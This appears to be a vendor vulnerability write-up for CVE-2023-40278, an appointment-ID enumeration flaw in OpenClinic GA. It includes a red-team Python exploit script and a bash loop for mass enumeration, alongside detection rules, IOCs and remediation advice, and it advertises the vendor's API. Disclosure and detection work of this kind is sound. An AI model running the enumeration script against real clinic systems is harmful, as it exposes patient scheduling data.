CVE-2023-40278
Executive Summary
CVE-2023-40278 is an Information Disclosure vulnerability in OpenClinic GA version 5.247.01. The flaw resides in the printAppointmentPdf.jsp component, where improper handling of the AppointmentUid parameter allows an unauthenticated attacker to enumerate valid appointment IDs. By observing distinct error messages (e.g., "document is not open" vs. a generic error), an attacker can determine whether a specific appointment exists. This leakage of sensitive scheduling data can be used to infer patient volumes, clinic activity, and appointment patterns, posing a privacy and operational security risk.
This vulnerability has a public Proof of Concept (PoC) exploit, but no official patch has been released. The CVSS v3.1 base score is 5.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply sends HTTP requests.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): Low (L) – Limited information (appointment existence) is disclosed.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The vulnerability allows enumeration of appointment IDs, which can be used for reconnaissance. While not directly leading to data exfiltration, it can be combined with other attacks (e.g., social engineering) to compromise patient privacy.
Deep Dive & Mechanics
The vulnerability is a classic example of information disclosure via error message differentiation. The printAppointmentPdf.jsp page is designed to generate a PDF for a given appointment ID. When an invalid or non-existent AppointmentUid is provided, the application returns a generic error. However, when a valid ID is provided but the appointment is not yet "open" (e.g., not yet confirmed or processed), the application returns a specific error: "document is not open". This difference allows an attacker to brute-force or guess appointment IDs and confirm their existence.
Root Cause: The application fails to use a consistent error message for both invalid and non-existent appointments. This is a violation of secure coding practices, where error messages should not reveal whether a resource exists.
Attack Flow:
- Attacker identifies the vulnerable endpoint:
/openclinic/planning/printAppointmentPdf.jsp. - Attacker sends a request with a guessed
AppointmentUid(e.g.,1.1,2.5,100). - If the response contains "document is not open", the appointment exists.
- If the response is a generic error (e.g., "Appointment not found"), the appointment does not exist.
- Attacker can automate this to enumerate all valid appointment IDs.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: Different error messages based on existence
String appointmentUid = request.getParameter("AppointmentUid");
Appointment app = appointmentDAO.findByUid(appointmentUid);
if (app == null) {
response.sendError(404, "Appointment not found");
} else if (!app.isOpen()) {
response.sendError(403, "Document is not open");
} else {
// Generate PDF
}
Patched Code (Conceptual):
// Patched: Consistent error message for all failures
String appointmentUid = request.getParameter("AppointmentUid");
Appointment app = appointmentDAO.findByUid(appointmentUid);
if (app == null || !app.isOpen()) {
response.sendError(404, "Appointment not found or not available");
return;
}
// Generate PDF
The patch ensures that both non-existent and non-open appointments return the same generic error, preventing enumeration.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running OpenClinic GA 5.247.01 on port 10088.
- Network access to the target.
Exploit Code (from Exploit-DB):
import requests
import sys
def check_appointment(target_ip, appointment_uid):
url = f"http://{target_ip}:10088/openclinic/planning/printAppointmentPdf.jsp?AppointmentUid={appointment_uid}"
try:
r = requests.get(url, timeout=10)
if "document is not open" in r.text:
return True
else:
return False
except Exception as e:
print(f"Error: {e}")
return None
def main():
if len(sys.argv) != 3:
print("Usage: python exploit.py <target_ip> <appointment_uid>")
sys.exit(1)
target_ip = sys.argv[1]
appointment_uid = sys.argv[2]
exists = check_appointment(target_ip, appointment_uid)
if exists:
print(f"[+] Appointment {appointment_uid} EXISTS (document is not open)")
else:
print(f"[-] Appointment {appointment_uid} does NOT exist or error")
if __name__ == "__main__":
main()
Usage:
- Save the script as
exploit.py. - Run:
python exploit.py 192.168.1.100 1.1 - The script will output whether the appointment exists.
Automated Enumeration:
for i in $(seq 1 100); do python exploit.py 192.168.1.100 $i; done
Blue Team (Detection & Response)
Detection:
- Monitor HTTP requests to
/openclinic/planning/printAppointmentPdf.jspwith varyingAppointmentUidparameters. - Look for rapid sequential requests (e.g.,
AppointmentUid=1,AppointmentUid=2, etc.) indicating brute-force enumeration. - Alert on responses containing "document is not open" from unauthenticated users.
Response:
- Block the attacking IP at the WAF/firewall.
- Review logs for any successful enumeration.
- If possible, apply a virtual patch (e.g., WAF rule to block requests with suspicious patterns).
- Notify affected patients if appointment data was exposed.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/openclinic/planning/printAppointmentPdf.jspwithAppointmentUidparameter. - Response body containing "document is not open".
- Sequential or patterned
AppointmentUidvalues (e.g.,1.1,1.2,2.1).
- HTTP GET requests to
Host IOCs:
- Web server logs showing repeated 403/404 errors from the same IP.
- Unusual traffic to the
/openclinic/planning/directory.
File IOCs:
- N/A (no file modification).
Detection Engineering
YARA Rule
rule CVE_2023_40278_OpenClinic_InfoDisclosure {
meta:
description = "Detects exploitation attempts for CVE-2023-40278 in OpenClinic GA"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-40278"
strings:
$s1 = "printAppointmentPdf.jsp" ascii nocase
$s2 = "AppointmentUid" ascii nocase
$s3 = "document is not open" ascii nocase
condition:
all of them
}
Sigma Rule
title: CVE-2023-40278 OpenClinic GA Information Disclosure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2023-40278 by enumerating appointment IDs
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "printAppointmentPdf.jsp"
cs-uri-query|contains: "AppointmentUid"
sc-status: 403
condition: selection
falsepositives:
- Legitimate use of the feature (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-40278 OpenClinic GA Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/openclinic/planning/printAppointmentPdf.jsp"; http_uri; content:"AppointmentUid"; http_uri; pcre:"/AppointmentUid=\d+\.\d+/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Virtual Patch: Use a WAF to block requests to
printAppointmentPdf.jspwith suspiciousAppointmentUidpatterns (e.g., sequential numbers). - Restrict Access: Limit access to the
/openclinic/planning/directory to authenticated users only. - Monitor Logs: Review web server logs for enumeration attempts.
Long-Term Fix:
- The vendor (OpenClinic) should release a patch that returns a consistent error message for both non-existent and non-open appointments.
- Until a patch is available, consider disabling the
printAppointmentPdf.jspendpoint if not essential.
Workaround:
- Modify the application code (if possible) to return a generic error for all failure cases, as shown in the patched code example.
Valters IT
{/* [Security Hash: 37FB9F76D52B3A6661D322B1] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.